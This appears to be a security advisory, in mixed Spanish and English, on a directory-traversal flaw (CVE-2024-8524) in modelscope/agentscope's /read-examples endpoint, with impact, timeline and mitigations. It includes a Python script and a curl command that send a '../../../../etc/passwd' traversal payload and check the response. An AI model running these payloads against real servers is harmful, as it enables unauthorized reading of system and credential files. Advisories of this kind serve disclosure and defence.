Recorrido de Directorio en modelscope/agentscope

La vulnerabilidad de recorrido de directorios en modelscope/agentscope permite a un atacante eludir los controles de acceso y leer archivos JSON arbitrarios en el sistema. Esto podría exponer información confidencial almacenada en estos archivos, como claves de API, contraseñas, configuraciones sensibles o datos de entrenamiento del modelo. Un atacante podría utilizar esta información para comprometer aún más el sistema, obtener acceso no autorizado a recursos o incluso ejecutar código malicioso. La exposición de datos sensibles podría resultar en una pérdida de confidencialidad, integridad y disponibilidad del sistema.

Organizations using modelscope/agentscope in their Python applications, particularly those deploying it in environments where sensitive data is stored as JSON files, are at risk. This includes developers integrating agentscope into their AI workflows and those using it in shared hosting environments where file system access might be less restricted.

• python / server:

import requests

url = 'http://your-target-server/read-examples'
payload = {'file': '..//../../../../etc/passwd'}

response = requests.post(url, data=payload)

if 'root:' in response.text:
    print('Potential vulnerability detected!')
else:
    print('No vulnerability detected.')

• generic web:

curl -X POST http://your-target-server/read-examples -d 'file=../../../../etc/passwd' | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. Reservado2024-09-06
2. Publicada2025-03-20
3. Modificada2025-10-15
4. EPSS actualizado2026-04-02

La mitigación principal para CVE-2024-8524 es actualizar a la versión corregida de modelscope/agentscope tan pronto como esté disponible. Si la actualización no es factible de inmediato, se recomienda implementar controles de acceso estrictos al endpoint /read-examples, restringiendo el acceso solo a usuarios y procesos autorizados. Además, se pueden implementar reglas en un firewall de aplicaciones web (WAF) para bloquear solicitudes POST maliciosas que intenten manipular la ruta del archivo. Monitorear los logs del sistema en busca de intentos de acceso no autorizados al endpoint /read-examples también es crucial.